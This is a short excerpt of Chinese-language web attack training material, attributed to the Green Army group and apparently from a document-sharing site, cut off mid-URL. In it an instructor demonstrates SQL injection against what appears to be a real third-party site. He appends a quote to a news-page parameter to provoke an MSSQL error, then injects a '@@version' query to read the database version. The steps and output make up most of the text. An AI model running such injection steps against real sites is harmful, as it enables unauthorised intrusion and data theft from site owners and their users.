绿色兵团-209培训活动-WEB攻防培训资料.docVIP

作者：应要求不透露名字 化名：外星人（兵团高级成员） 大家好，我是负责本次web攻防课程的讲师！这次我们通过几个实例贯穿全课程，希望可以得到较好的效果。 好的 下面我们看一下http://www.mtufc.tv/newsdetail.asp?id=342 这个注入点。 http://www.mtufc.tv/newsdetail.asp?id=342’ url后面加’ 我们看爆出的信息。 Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string . /newsdetail.asp, line 9 我们从而得知了他的数据库是mssql http://www.mtufc.tv/newsdetail.asp?id=342 and 1=(select @@version)— 查询到 数据库版本是Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) http://www